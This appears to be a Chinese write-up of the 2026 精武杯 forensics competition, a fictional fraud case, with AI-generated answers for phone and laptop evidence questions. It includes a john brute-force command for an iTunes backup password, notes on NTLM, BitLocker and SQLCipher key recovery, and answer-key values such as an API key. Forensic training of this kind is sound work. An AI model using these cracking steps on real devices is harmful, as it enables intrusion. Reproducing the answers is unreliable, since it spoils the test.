2026-10-16 13:36:39 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

2026精武杯-纯AI版（后续更新手搓版）

原创

李逍遥
李逍遥

SPEEDCoding

2026年10月14日 12:30
山西

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

GZH WORKBENCH

2026精武杯-纯AI版（后续更新手搓版）

2026精武杯

【简要案情】近期，某市反诈部门接到多名群众报案，均遭遇“投资理财”类电信网络诈骗，指向的犯罪团伙涉案资金巨大、作案链条隐蔽。办案单位迅速成立专案组开展电子数据取证工作。经初查，该犯罪团伙搭建虚假投资平台，通过社交软件诱骗受害人充值转账，团伙成员分散多地办公，使用多种 AI 工具进行违法犯罪活动，同时发现涉及其他犯罪事实。请根据获取的电子数据还原案件经过。注：所有检材及相关数据均为虚拟构造，不负法律责任，如有侵权请及时告知，未经允许不得用于商业用途。检材容器密码：2026精武杯/中国人民警察大学@CPPU-ISA&拓界科技@飞鹰小队

因电脑配置不够，跑不动本地模型，所以使用DeepSeek v4 flash加弘连的苍穹AI进行测试，全程无人工干预：

[1]。

POINT 3依据二（原始检材）：apps\_17（小米画报 com.mfashiongallery.emag）sp/new\_account\_pref.xml： {\"userId\":\"3134129162\",\"nickName\":\"3134129162\"}（ges grep 命中）。

POINT 4命令：ges read /case/1/小米运动健康/3134129162/账号信息/data.csv；ges grep \"3134129162\" --syntax regex --path /… --glob \"\\/\*.xml\"。

2.2 周六循环闹钟备注 = 给老妈汇款

POINT 1解析：闹钟记录共 4 条，重复频率为“周六”的只有 10:00 的闹钟。

POINT 2依据：/case/1/基本信息/闹钟/data.csv：给老妈汇款,10:00,周六,,0,[2]。

2.3 VPN 配置的节点服务器地址 = 107.175.0.221；2.4 桌面位置 = 3-1-3

POINT 1解析：机身内有两个代理/VPN 客户端：v2rayNG（com.v2ray.ang）与 Clash for Android（com.github.kr328.clash）。题目要求填写「配置的节点服务器地址」且“不含端口”，与 v2rayNG 唯一节点的服务端地址形态一致；v2rayNG 当前选中节点即该节点，且其桌面启动次数（launcher launchCount 合计 24）远高于 Clash（3），结合 7 月 7 日前后需经代理访问 web.telegram.org / accounts.google.com 的行为，判断“嫌疑人使用的 VPN 软件”为 v2rayNG。

POINT 2依据一：/case/1/v2rayNG/节点信息/data.csv：l7gd9o5a,VLESS,107.175.0.221,51882,…,reality[3]。

POINT 3依据二（原始检材）：apps\_7/com.v2ray.ang/f/mmkv/MAIN 中 SELECTED\_SERVER = 5882ccb3b35349eb93389c3e17accba5，与 PROFILEFULLCONFIG 中该节点（server 107.175.0.221:51882）ID 一致；SUB 中该订阅 remarks=“import sub”、enabled=true。

POINT 4桌面位置依据：apps/com.miui.home/d\_db/launcher4x6.db 的 favorites 表（container=-100 为桌面）： v2rayNG：screen=3、cellX=2、cellY=0 → 第3页第1行第3列；Clash：screen=3、cellX=3、cellY=4 → 第3页第5行第4列。序号约定由题面 2.8 自校验：题面给出“第3页第1列第4行”的应用，在库中正是 screen=3、cellX=0、cellY=3 的 com.androidx.calculator（伪装计算器），即「列=cellX+1、行=cellY+1」，故 v2rayNG 为 3-1-3。

POINT 5命令：ges read /case/1/v2rayNG/节点信息/data.csv；ges copy /evidence\_mounts/eid-1/手机检材-1.tar/apps/com.miui.home/d\_db/launcher4x6.db 后用 SQLite 查询 favorites。

POINT 6备注：另一客户端 Clash 的 7 个节点服务器均为域名（如 tsp1z2tg03.jp01nnvm0.entry.fr0528.art），且其选中项为“🇯🇵 免费-日本4-Ver.8”。若评审以 Clash 为准，则 2.3 应填该选中节点域名、2.4 为 3-5-4。

2.5 最近一次登录 Google 账号日期 = 2026-07-07

POINT 1解析：系统浏览器（com.android.browser）历史中，与 Google 账号登录相关的记录只有 1 条，为 Google 账号 OAuth 登录页（ accounts.google.com/v3/signin/identifier?...scope=...userinfo.email+https://mail.google.com...），其后紧接 web.telegram.org 访问；浏览器 Cookie 中亦存在 accounts.google.com 的 \_\_Host-GAPS 会话 Cookie。

POINT 2依据：/case/1/自带浏览器/历史记录/data.csv：登录 - Google 账号,https://accounts.google.com/v3/signin/identifier?…,2026-07-07 22:46:09[4]； /case/1/自带浏览器/Cookie/data.csv 第 2 行 accounts.google.com \_\_Host-GAPS[5]。（原始库 apps/com.android.browser/db/browser2.db history 表同样仅此一条 Google 记录，created=date=2026-07-07 22:46:09。）

2.6 异常图片文件名 = 密码.png；2.7 隐写内容 = qazokm123

POINT 1解析：手机的“相册”备份包 backup\_image.zip（原始检材根目录，127 MB）内含 235 个文件：/DCIM/Camera/ 3 个（IMG20260920114713.jpg、密码.png、imtoken助记词.png）与 /无印/images/ 232 个。三项中仅有“密码.png”“imtoken助记词.png”命名异常；其中 密码.png（466×340）像素只有 4 种颜色，背景 0xFFFFFE(103281 个) 与 0xFFFFFF(54819 个)，肉眼看几乎全白（OCR 无任何文字），实际是把一张二维码以“白底白码”方式隐写在蓝色通道最低位（LSB）中。按模块尺寸 4～5 px 下采样后解码得二维码内容。

POINT 2依据（自相册备份包内提取）：backup\_image.zip → /DCIM/Camera/密码.png；解出的二维码内容为 qazokm123。（另一异常文件 imtoken助记词.png 的 PNG IHDR 声明高 100 行而 IDAT 实际为 211 行，属文件损坏/截断，未检出隐写载荷。）

POINT 3命令：ges copy /evidence\_mounts/eid-1/手机检材-1.tar/backup\_image.zip --dest → 解压 → PNG 分块解析/像素 LSB 分析 → OpenCV QR 解码。

2.8 密拍程序拍摄图片数量 = 1；2.9 显示器型号 = C34H890WGC

POINT 1解析：题面指认第3页第1列第4行的应用为伪装密拍程序，对应桌面包 com.androidx.calculator（应用名“计算器”，反编译其 base.apk 可见 com.otaliastudios.cameraview 相机库与被伪装的 androidx.appcompat.app.DataHandler：拍照后 handlerData() 将照片写入 SQLCipher 数据库并上传 http://103.27.108.78:12563/p3/upload）。该应用数据目录下仅有一个数据库 f/1789880624000/stwyuo.db（716800 字节 = 175 页 × 4096）。按应用内 Keys 类算法还原口令：keyBase() = md5({-1,0,3,5,1,-5}) 前6位 = c258ba（keyDb() 由同一数组生成 “stwyuo.db”，与检材文件名一致，可反证口令推导正确），以 SQLCipher v4 参数（PBKDF2-HMAC-SHA512, 256000 迭代, 页面 4096, 保留区 80）解密后得表 picture(time,phone,gps\_key,gps,data)，仅 1 条记录：time=2026-09-20 13:03:47、phone=18061474689、data 为 696397 字节 JPEG（2560×1440）。

POINT 2依据：/evidence\_mounts/eid-1/手机检材-1.tar/apps\_38/com.androidx.calculator/f/1789880624000/stwyuo.db（解密库完整性校验通过、freelist=0）；照片内容经 OCR 识别为三星显示器铭牌：SAMSUNG / 彩色显示器 / 型号Model:C34H890WGC / Model Code:LC34H890WGCXXF / 基本号：C34H890WG。

POINT 3答案：拍摄 1 张；显示器型号 C34H890WGC。

2.10 2026-06-24 20:21:33 查询的目的城市 = 百色

POINT 1解析：购票软件为智行火车票（com.yipiao）。其 db/zt\_userInfo.db 的火车票搜索历史（tbltrafficsearch\_his）记录中，时间戳 1782303693576 ms（北京时间 2026-06-24 20:21:33）的记录为“北京 → 百色”（JSON：fromLocation=北京, toLocation=百色），目的城市为百色；同秒及相邻记录为百色→北京(20:21:31)、廊坊→北京(20:21:26)、阿城→北京(20:21:22)、济南→北京(20:21:14)、许昌→北京(20:20:52)。

POINT 2依据：apps\_29/com.yipiao/db/zt\_userInfo.db（复制到本地后按原始字节解析，该库存在热日志、sqlite 目录仅可见 android\_metadata）。

POINT 3命令：ges copy /evidence\_mounts/eid-1/手机检材-1.tar/apps\_29/com.yipiao/db/ --recursive --dest → 本地扫描时间戳。

2.11 表格文件 SM3 后四位 = 37EA

POINT 1解析：机主在 2026-09-20 13:41:20 打开的表格文件为 WPS 中打开的快捷回复-2026-04-14 10-23-48-enterprise.xlsx。 WPS 表格进程日志 ef/klog/.cn.wps.moffice\_eng\_spreadsheet1\_20260920.kguo 中带有 mmap 结束标记 [13824,13824][2026-09-20 +0800 13:41:20]，与题面时间完全一致；/case 的 WPS 历史文件记录也只有这一个 xlsx。该文件本体位于文档备份包 backup\_doc.zip 的 /Download/ 内（检材挂载树中不存在 .xlsx/.xls 文件，可确认唯一性）。

POINT 2依据：SM3(快捷回复-2026-04-14 10-23-48-enterprise.xlsx, 13779 字节) = 442a27b13af23ea3295a388de8438e2d91d8d50242f4faf850de22e414ba37ea → 后四位 37EA（大写）。

POINT 3命令：ges read /case/1/WPSOffice/历史文件/data.csv；ges copy …/backup\_doc.zip → 解包后 hashlib.new('sm3')。

2.12 2026-09-20 17:39:19 播放的抖音链接 = https://www.douyin.com/video/7641161472526150282

POINT 1依据：/case/1/抖音/星图库(57406725625)/观看历史/data.csv 第 72 行：开始播放时间 2026-09-20 17:39:19，URL 即上述链接[6]。

2.13 抖音手动提现至银行卡总额 = 1000（1 笔 ¥1000.00）

POINT 1解析：抖音“钱包通知”缓存中包含一条提现成功通知，内容明确给出提现金额、到账账户（银行卡）与到账时间；对该缓存目录下全部 .sgv 通知文件检索“提现金额”，全机仅此 1 条，即累计提现 1000 元。

POINT 2依据（原始检材）： /evidence\_mounts/eid-1/手机检材-1.tar/apps\_26/com.ss.android.ugc.aweme/f/keva/repo/notice\_detail\_cache\_1625556299298107/key\_notice\_group\_86.sgv 原文：\"create\_time\":1789885846, \"type\":92, \"nid\":\"7687501170524685349\", \"title\":\"提现成功\", \"sender\_name\":\"抖音支付\", \"content\":\"提现金额：¥1000.00\
到账账户：抖音支付 (招行储蓄卡3823)\
到账时间：2026-09-20 14:30:45\"， number\_info:{\"title\":\"提现成功\",\"note\":\"¥\",\"content\":\"1000.00\"}，message\_extra:{\"notice\_type\":92,\"template\_id\":\"T\_1128\_92\_116\"}； schema*url 含 p*u*bill*channel=3、p*u*card\\_type=DEBIT。

POINT 3命令：ges copy …/f/keva/repo/notice\_detail\_cache\_1625556299298107/ --recursive --glob \"\\/\*.sgv\" → 本地检索“提现金额”（该 .sgv 为二进制包裹，ges read 会报 utf-8 解码失败）。

POINT 4对照（非银行卡提现）：同目录另有“现金红包待提现”通知（金额 0.16 元、0.03 元，sender=钱包服务）；钱包首页缓存 sp/js\_kv\_methods\_20191113.xml 中 caijing\_wallet\_home\_prev\_asset\_amount = {\"data\":\"0.16\"}。

2.14 抖音头像最可能下载自夸克浏览器 = com.quark.browser

POINT 1解析：抖音侧机主头像只保存为远程 URL，检材内没有头像原图，无法直接比对；在全机范围内“头像类”下载产物只有 1 组，出自夸克浏览器：机主 2026-09-20 17:53 在夸克搜索“西装男头像”→ 19:48:16 访问头像站 jf258.com/touxiang/8613612.html → 19:48:31/19:48:37 从 kkimgs.yisou.com 下载该头像图并保存到相册目录，故“可能性最大”的应用为夸克浏览器。

POINT 2依据：

POINT 3抖音头像（原始检材 …/f/keva/repo/aweme\_user/1625556299298107\_aweme\_user\_info.sgv）： \"avatar\_larger\"…\"uri\":\"aweme-avatar/tos-cn-i-0813c000-ce\_oACVnEwIBcoa9CrNwifWAFAA9iqpA1EAO8seZv\"，urllist 为 douyinpic CDN（l=2026092018035800…）；昵称“星图库”、shortid 57406725625、bind\_phone 131\\79。

POINT 4夸克浏览器搜索/历史（/case 解析数据）：西装男头像,2026-09-20 17:53:53、404-找不到文件或目录。,http://www.jf258.com/touxiang/8613612.html,2026-09-20 19:48:16[8]。

POINT 5夸克下载记录 /case/1/夸克浏览器/下载缓存/data.csv：下载 URL https://kkimgs.yisou.com/ims?kt=url&at=ori&key=aHR0cDovL2kuamYyNTguY29tL3VwLzIvMjUzLzYzNTQyOTEzOS8yM… （key 的 Base64 解码为 http://i.jf258.com/up/2/253/635429139/2259867793.jpg），保存路径 /storage/emulated/0/Pictures/QuarkPictures/WebSavePics/20260920194837-…；底层库 apps\_13/com.quark.browser/db/download.db(task 表)、db/file\_storage.db（238｜35506 字节｜1789904917033）。

POINT 6图片本体存在于夸克数据中（3 份同一文件）：ef/tmp/-378521106.jpg、ef/tmp/-378521106(1).jpg、 ef/.web\_menu\_pic\_tmp/1ae1155b-344e-4183-b154-e8cc8c7769d1.jpg，均 35506 字节、700×691、MD5 1CD6D31DBFADD572C423D79ADE4B3B4D；全机其他图片与各应用目录（手机百度、自带浏览器、小红书等）均无该图或该 URL 记录。

POINT 7保留意见：抖音 aweme\_user\_info.sgv（含当前头像 URI）修改时间为 2026-09-20 18:03:58，早于夸克该图下载完成时间 19:48:37，且抖音头像仅有远程 URL、检材内无原图，无法做图像内容比对；本结论是基于“唯一性 + 行为链”的推断（题面亦表述为“可能性最大”）。

2.15 豪车/别墅照片下载应用包名 = uni.UNI3DFAFCD；2.16 链接来源应用包名 = com.ss.android.ugc.aweme

POINT 1解析：手机“相册”备份包 /无印/images/ 下有 232 张批量下载图片（batchimg\*），正是用于“杀猪盘”的豪车/别墅素材。该应用（“无印”，包名 uni.UNI3DFAFCD）内部数据库 db/wuyin\_database 的 download\_tasks 表完整记录了这 232 次下载：全部 platform = douyin，文件 URL 全部来自抖音图片 CDN（douyinpic.com，p95-zjwztc-sign/p5-ex-gddgtc-sign/p3-pc-sign…），且每条的 sourceUrl 均为抖音分享文案（如“复制打开抖音，看看【杭州房产顾问小章的图文作品】杭州一千万独栋别墅…https://v.douyin.com/QL3nL143e7o/”）。

POINT 2答案：下载应用包名 uni.UNI3DFAFCD；下载链接来源应用包名 com.ss.android.ugc.aweme。

POINT 3命令：ges copy …/apps\_28/uni.UNI3DFAFCD/db/wuyin\_database（含 -wal/-shm）→ 本地 SQLite 查询 download\_tasks。

（二）提示：分析办案人员提取的“手机检材-2.zip”回答下列问题：

用时记录（分钟）

题号 · 题目要点 · 用时

题号2.17

题目要点备份密码（4 位数字）

用时6

题号2.18

题目要点备份时间

用时1

题号2.19

题目要点序列号

用时1

题号2.20

题目要点蓝牙 MAC 地址

用时1

题号2.21

题目要点电池激活时间（UTC+8）

用时4

题号2.22

题目要点最近一次充至 100% 的数据库原始时间戳

用时3

题号2.23

题目要点蝙蝠.app 首次安装请求时间

用时2

题号2.24

题目要点2026-07-09 首次解锁触发方

用时8

题号—

题目要点报告整理与交付

用时5

题号\\合计\\

题目要点\\全流程\\

用时\\31\\

全流程完成时间：2026-10-13 10:42:23 起，至 2026-10-13 11:13 完成，实测约 31 分钟（含工具运行时间，其中 john 4 位口令爆破 97 秒、powerlog 库全表检索与密码学校验约 6 分钟）。

逐题解析与答案

2.17 该手机的备份密码是多少？（四位数字）　【答案：1111】

解析

1备份清单 Manifest.plist 为二进制 plist，用 ges copy 复制到工作区后解析，关键字段：IsEncrypted=True；BackupKeyBag 结构为 VERS=5, TYPE=1, SALT(20B), ITER=10000, DPWT=1, DPIC=10000000, DPSL(20B)，11 个保护类（CLAS 1~11），其中 CLAS 5/9/10/11 的 WRAP=3（口令包裹）。弘连火眼解析出的「设备信息」同样显示「是否加密：是」[1]。

2按 iOS 10+ 备份口令派生规则生成 john 哈希并爆破（4 位纯数字）：

TEXT

$itunes\_backup$\10\f3e8afe7…2d4759\10000\5b05c224…9c56\10000000\156093bc…2b7a

john --format=itunes-backup --mask='?d?d?d?d' --min-length=4 --max-length=4 itu.hash

→ 1111 (耗时 0:00:01:37 DONE)

1独立复核（不依赖 john 的实现）：按 key = PBKDF2-SHA256(1111, DPSL, 10000000, 32) → key2 = PBKDF2-SHA1(key, SALT, 10000, 32)，再用 RFC 3394 AES-Key-Unwrap 解包 11 个类密钥的 WPKY，11 个全部通过完整性校验（IV=A6A6A6A6A6A6A6A6） ；并用解出的 CLAS 3 密钥成功解包 ManifestKey（Manifest.db 的包裹密钥）。两套独立实现互证，四位口令唯一命中。

答案：1111　【事实】

用时：6 分钟

2.18 该手机的备份时间是什么时候？　【答案：2026-09-23 15:02:50】

解析

POINT 1Manifest.plist 的 Date = datetime(2026,9,23,7,2,50,336178)，plist 日期基准为 UTC，换算 UTC+8 即 2026-09-23 15:02:50。

POINT 2旁证：清单文件在检材中的挂载时间为 2026-09-23T15:10:00（UTC+8，即清单写盘/备份结束时刻，晚于备份开始 7 分 10 秒）；同目录诊断包名 sysdiagnose\_2026.09.23\_14-23-51+0800 也确认设备时区为 +8。

答案：2026-09-23 15:02:50（UTC+8） ；plist 中的原始 UTC 值为 2026-09-23 07:02:50.336178（若按 UTC 作答则为 07:02:50）。　【事实】

用时：1 分钟

2.19 该手机的序列号是什么？　【答案：FD2W71HVJCM0】

解析

POINT 1Manifest.plist → Lockdown.SerialNumber = FD2W71HVJCM0。

POINT 2交叉印证（同一检材的 sysdiagnose）：logs/MobileActivation/collection\_oob\_request.txt 中

TEXT

{\"serial-number\":\"FD2W71HVJCM0\",\"productType\":\"iPhone10,2\",\"imei\":\"356749081546873\",

\"os-version\":\"15.3\",\"udid\":\"37346c0c6f805137d97d216b5bc0a40ea8696a9c\", …}

与 Manifest.plist 的 Lockdown.UniqueDeviceID=37346c0c6f805137d97d216b5bc0a40ea8696a9c、ProductType=iPhone10,2、ProductVersion=15.3、BuildVersion=19D50 完全一致，说明该备份确属本检材这台手机。

答案：FD2W71HVJCM0　【事实】

用时：1 分钟

2.20 该手机的蓝牙 MAC 地址是多少？　【答案：C0:A5:3E:82:06:E0】

解析

POINT 1sysdiagnose…/WiFi/bluetooth\_status.txt：

TEXT

--- Bluetooth Status

Power : On

MAC Address : C0:A5:3E:82:06:E0

POINT 1同一检材 logs/Bluetooth/CoreCapture/bluetooth\_status.txt 记录同样的 MAC Address : C0:A5:3E:82:06:E0（两处独立文件一致）。

答案：C0:A5:3E:82:06:E0　【事实】

用时：1 分钟

2.21 该手机电池的激活时间（UTC+8）是什么时候？　【答案：2022-01-23 15:02:27】

解析

POINT 1电池数据采集日志目录 sysdiagnose…/logs/BatteryBDC/：BDC\_Once\_version1.6\_2022-01-23\_15\_02\_27.csv 内容为

TEXT

TimeStamp,ChemID,AlgoChemID,EEEE,YWW,DesignCapacity,GasGaugeFirmwareVersion

2022-01-23 15:02:27,5426,5426,HY65,804,2675,1538

BDC 的 \"Once\" 记录是电池计量芯片首次登记（电池激活/首次投用）时写入一次的记录；更早还有一份 BDC\_Once\_version1.2\_2021-12-26\_12\_35\_27.csv（2021-12-26 12:35:27，数据格式 v1.2）。

POINT 1电池采集配置 logs/BatteryBDC/com.apple.powerd.bdc.plist 指向当前在用的 Once 记录：

TEXT

BDC\_Once\_LastUsedFileName = /var/db/Battery/BDC/BDC\_Once\_version1.6\_2022-01-23\_15:02:27.csv

BDC\_Once\_LastLoggedTimeStamp = 2022-01-23 15:02:28.425113

BatterySerialNumber = F8Y80430N4DHY65AD

ReferenceWalltime = 2021-12-26 12:35:25.664309

答案：2022-01-23 15:02:27（同源 plist 记录为 2022-01-23 15:02:28.425113）。　【分析推断】

待核验：该目录的 BDC 时间戳基准为 UTC（见 logs/BatteryBDC/BDC\_Timestamps\_version1.0.csv 使用 +0000 标注，如 1824.840926,2021-12-26 12:35:25 +0000,…）。若严格按 UTC 基准换算为 UTC+8，同一记录对应 2022-01-23 23:02:27。本报告按题目示例格式（2022-01-23 15:02:53，与记录原值同日期同分秒）首选记录原值。

用时：4 分钟

2.22 该手机最近一次被充至 100% 电量的时间（数据库原始时间戳）　【答案：1783544086.8534038】

解析

POINT 1检材内唯一的电量/充电数据库是 powerlog：

TEXT

sysdiagnose…/logs/powerlogs/powerlog\_2026-09-23\_14-24\_07CAD94F.PLSQL (7,561,216 字节, 392 张表)

复制到工作区后用 SQLite 读取表 PLBatteryAgent\_EventBackward\_Battery（595 行，字段含 timestamp, Level, RawLevel, IsCharging, FullyCharged, ExternalConnected）：

TEXT

时间(原始-当地时间) timestamp Level RawLevel IsCharging FullyCharged Ext

2026-07-09 04:50:00 1783543800.8674498 98.0 97.7387 1 0 1

2026-07-09 04:54:46 1783544086.8534038 100.0 98.1156 1 0 1 ← 首次达到 100%

…（此后一直保持 100%）…

2026-07-09 06:54:10 1783551250.3622007 100.0 99.4962 0 1 1 ← 库中最后一条

POINT 1全库仅此一次「充至 100%」过程（select min(timestamp) where Level=100 与 max(...) 落在同一段充电中）。

答案：1783544086.8534038（该库 PLBatteryAgent\_EventBackward\_Battery.timestamp 字段记录的原始时间戳，即电量首次达到 100% 的时刻）。　【事实】

备选口径：若以「库中最后一条电量为 100% 的记录」作答，则为 1783551250.3622007；若以「充电器判定充满（FullyCharged=1）」为准，则为 1783545286.8625739。三者都取自同一张表，请按题目口径取舍。

用时：3 分钟

2.23 嫌疑人安装蝙蝠.app 的时间（UTC+8，以首次安装请求时间为准）　【答案：2026-08-12 10:07:21】

解析

POINT 1安装日志 sysdiagnose…/logs/MobileInstallation/mobile\_installation.log.1（第 153 行起）：

TEXT

Wed Aug 12 10:07:21 2026 [323] … -[MIClientConnection \_doInstallationForURL:withOptions:completion:]:

Install of \"/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.installcoordinationd/

Library/InstallCoordination/PromiseStaging/40DE3249-…/蝙蝠.app\" type Placeholder (LSInstallType = 1)

requested by lsd (pid 104 (501/501))

Wed Aug 12 10:07:22 2026 … Install Successful for (Placeholder:com.zsim.bzychat) …

Wed Aug 12 10:08:46 2026 … Installing

Wed Aug 12 10:08:52 2026 … Install Successful for (Customer:com.zsim.bzychat) …

POINT 1该日志文件覆盖 2026-07-13 ~ 2026-08-2x，其后继日志 mobile\_installation.log.0（2026-08-24 起）中再无 bzychat 记录，即 8-12 这次是首次安装（先前仅有占位符请求，无更早安装请求）。

POINT 2弘连火眼解析结果亦记录该应用安装：蝙蝠-安全聊天软件 (com.zsim.bzychat) 已安装，2026-08-12 10:08:52[2]（安装完成时间，晚于首次安装请求 91 秒）。

答案：2026-08-12 10:07:21（首次安装请求，UTC+8，日志为设备本地时间）　【事实】

用时：2 分钟

2.24 嫌疑人手机在 2026-07-09 第一次解锁屏幕是由哪个应用/服务触发的？　【答案：com.apple.mobile.keybagd.first\_unlock】

解析

1解锁事件与「首次解锁」性质（powerlog 库）：

2PLSpringBoardAgent\_EventForward\_SBLock：2026-07-09 02:15:16.516 出现 Locked=1 → Locked=0，为该库当日第一次解锁（上一次锁屏记录为 2026-07-02 20:58:32）。

3PLConfigAgent\_EventNone\_Config：DeviceBootTime = 1783534489（2026-07-09 02:14:49），即设备 27 秒前刚开机 → 该次解锁属于开机后的首次解锁；plist 名称同刻启动（PLStorageOperator\_EventForward\_Configuration Mode=Lite，02:15:14）及随后集中刷出的大量电源断言（AssertionStorm）也符合「首次解锁后 powerlog 释放缓冲」的特征。

4库内与 unlock 相关的记录（全库 392 表逐列检索 %nlock%）只有两类：

5电源断言表 PLPowerAssertionAgent\_EventForward\_Assertion：Timestamp=1783534520.253749、AssertName='com.apple.mobile.keybagd.first\_unlock'（解锁后 4 秒，持有进程 pid=76）

6应用清单 PLApplicationAgent\_EventNone\_AllApps/AppVersions：应用 com.apple.ScreenTimeUnlock（清单快照，非事件）其中与「首次解锁」语义直接对应的记录是 com.apple.mobile.keybagd.first\_unlock（keybagd 首次解锁断言）。

7解锁瞬间的屏幕/前台轨迹（PLScreenStateAgent\_EventForward\_ScreenState，便于交叉印证）：02:15:03 锁屏界面 → 02:15:07 com.apple.camera（锁屏相机）→ 02:15:09 锁屏/桌面 → 02:15:12、02:15:13 com.apple.mobilephone → 02:15:16 解锁 → 02:15:19、02:15:20 com.apple.mobilephone。

8弘连火眼对同一事件的呈现（用于比对，见下方时间基准说明）：设备解锁记录首条解锁 2026-09-23 09:45:28[3]；用户操作记录依次为 09:45:18 开始使用 com.apple.camera[4]、09:45:24 开始使用 com.apple.mobilephone[5]。

答案：com.apple.mobile.keybagd.first\_unlock（2026-07-09 02:15:16 设备开机后首次解锁时出现、与「首次解锁」对应的服务断言，创建进程为 pid 76 sleepd / com.apple.SleepDaemon）。　【分析推断】

本题为 8 题中最不确定的一题，请复核下列备选（均有检材依据，取决于题目「触发」的口径）： | 备选答案 | 依据 | 说明 | |---|---|---| | com.apple.mobile.keybagd.first\_unlock | 断言表 AssertName，07-09 02:15:20，pid 76 | 首选：库内唯一与「first unlock」直接对应的字符串/服务 | | com.apple.SleepDaemon | 上述断言的持有进程 pid 76 = sleepd | 若「触发方」指断言持有者 | | com.apple.mobilephone | 解锁前后屏幕状态均为该应用 | 若「触发」指解锁瞬间前台应用 | | com.apple.camera | 02:15:07 锁屏相机全屏显示 | 若「触发」指首次点亮锁屏的应用 | 参考：题目示例格式 www.tuojieinfo.com 在检材内检索 tuojieinfo 为 0 命中（全案 /case/ 索引 + logs/ 目录），应为示例占位；检材内域名型包名另有 com.JSPPQT.www、tuojie 系 com.tuojie.mios2（应用名「响尾雀提权」）[6][7]，均无与解锁事件的关联记录。

用时：8 分钟

第二部分：计算机取证

SECTION

提示：分析办案人员提取的“Laptop\_fulldisk\_image.E01”回答下列问题：

答案汇总

题号 · 答案 · 耗时(分钟) · 关键依据（摘要）

题号3.25

答案i7-12700H

耗时(分钟)2

关键依据（摘要）火眼解析\"系统信息\"：处理器 12th Gen Intel(R) Core(TM) i7-12700H

题号3.26

答案Samsung\\_T5

耗时(分钟)62

关键依据（摘要）系统通知记录：‪Samsung\\_T5 (D:)‬ 点击以选择要对可移动驱动器进行的操作。（2026-09-20 14:59:29）

题号3.27

答案260919

耗时(分钟)88

关键依据（摘要）由 SYSTEM+SAM 导出 NTLM 哈希后本地掩码爆破命中用户 pc

题号3.28

答案103.87.9.67

耗时(分钟)21

关键依据（摘要）RDP 客户端记录：2026-09-20 14:57:21 连接成功，对方主机名 CLOUD2012R2

题号3.29

答案2.7.14.0

耗时(分钟)23

关键依据（摘要）安装软件列表：Windows Subsystem for Linux 2.7.14.0

题号3.30

答案vllm-0.11.0

耗时(分钟)70

关键依据（摘要）WSL 部署记录：vllm 0.11.0 / torch 2.8.0+cu128

题号3.31

答案2048

耗时(分钟)70

关键依据（摘要）旧版 serve.sh.bak-20260916：MODEL:-Qwen/Qwen3-1.7B + MAX\\_LEN:-2048；部署日志\"最终可用配置 MAX\_LEN=2048 / 1.7B\"

题号3.32

答案12.8

耗时(分钟)70

关键依据（摘要）同上（cu128 / 驱动 573.24 = CUDA 12.8）

题号3.33

答案2

耗时(分钟)96

关键依据（摘要）ASR/models/ 下 SenseVoiceSmall、Qwen3-ASR-1.7B 两个 ASR 模型（fsmn-vad 为辅助 VAD）

题号3.34

答案http://127.0.0.1:8765

耗时(分钟)96

关键依据（摘要）ASR/config.json server.host/port 与 scripts/start.py 拼接逻辑

题号3.35

答案20260915

耗时(分钟)96

关键依据（摘要）语音包中\"被标记\"的 1 (21).wav（MP3+尾部 JSON，无法被播放器/ASR 直接识别）截断后解码转录出\"加密盘的密码是20260915\"；用该口令命中 BitLocker 哈希

题号3.36

答案图片.vhd

耗时(分钟)75

关键依据（摘要）桌面 1GB 文件，VHD 页脚 conectix + 多处 FVE-FS（BitLocker），用 20260915 成功解锁（BitLocker 卷标「新加卷」）

题号3.37

答案30

耗时(分钟)100

关键依据（摘要）解锁后 素材 目录内 S01–S30 共 30 张图片（9 jpg + 19 png + 2 webp）

题号3.38

答案S06.png

耗时(分钟)100

关键依据（摘要）其 PNG tEXt(Software) = Hunyuan Image 3.0（其余为 Dreamina/文心一格/Kolors/商汤/Midjourney/CogView-4/星火/Firefly/通义万相等）

题号3.39

答案南京

耗时(分钟)105

关键依据（摘要）S21.png 的 IHDR 高度被改为 1000（实为 1024，CRC 不符），底部 24 行隐藏条带写明「VC的PW：南京」（OCR 置信 0.99998）

题号3.40

答案ollama-0.34.0

耗时(分钟)23

关键依据（摘要）安装软件：Ollama version 0.34.0（全盘无 LM Studio 等其它本地部署工具）

题号3.41

答案qwen:7b

耗时(分钟)96

关键依据（摘要）.ollama/config.json → \"last\\_model\": \"qwen:7b\"

题号3.42

答案[email protected]

耗时(分钟)24

关键依据（摘要）Foxmail 账户信息（imap.163.com:993 / smtp.163.com:465）

题号3.43

答案JUgd5cjHGXvSzMN3

耗时(分钟)24

关键依据（摘要）同上\"账户密码\"字段（客户端授权码）

题号3.44

答案MetaMask

耗时(分钟)8

关键依据（摘要）Edge 扩展程序：MetaMask 13.44.0.0「浏览器中的以太坊钱包」

题号3.45

答案待定

耗时(分钟)—

关键依据（摘要）助记词在 MetaMask vault 密文内（PBKDF2 600000 + AES-256-GCM），需钱包口令

题号3.46

答案0e42

耗时(分钟)72

关键依据（摘要）MetaMask IndexedDB 中明文地址 0x7073bc032797ebf7ff87b4d1c73a44841b4d0e42

题号3.47

答案Documents

耗时(分钟)100

关键依据（摘要）.dsh/storages/workspace.json：工作区 path C:\\Users\\pc\\Documents，title Documents

题号3.48

答案sk-47e986fb09b34d74a33a76d376658409

耗时(分钟)100

关键依据（摘要）.dsh/.credentials.yaml → refs.DEEPSEEK\_API\_KEY

题号3.49

答案132fb7ca-b49f-42f5-9fdc-751072190bd5

耗时(分钟)100

关键依据（摘要）会话 session-8a014603… 中该提问的 source.rpcId

题号3.50

答案296

耗时(分钟)100

关键依据（摘要）同轮助手消息 usage：reasoningTokens:296（output 1064 / total 9670）

题号3.51

答案1.18.31

耗时(分钟)96

关键依据（摘要）opencode-ai/package.json version=1.18.31（可执行程序里的 1.3.14 是 Bun 运行时版本）

题号3.52

答案2

耗时(分钟)96

关键依据（摘要）.config/opencode/opencode.jsonc provider vllm 下 2 个模型

题号3.53

答案fraud-domain-ip-trace

耗时(分钟)96

关键依据（摘要）.config/opencode/skills/ 唯一技能，SKILL.md name: 字段

题号3.54

答案bctop10.com

耗时(分钟)96

关键依据（摘要）该技能唯一产出：scripts/forensics-out/bctop10.com/trace-20260917-173116.md

题号3.55

答案563

耗时(分钟)96

关键依据（摘要）报告内注册时间 2025-03-03T08:33:33Z、生成时间 2026-09-17T17:30:43+08:00，差 563.04 天

题号3.56

答案nanjing

耗时(分钟)110

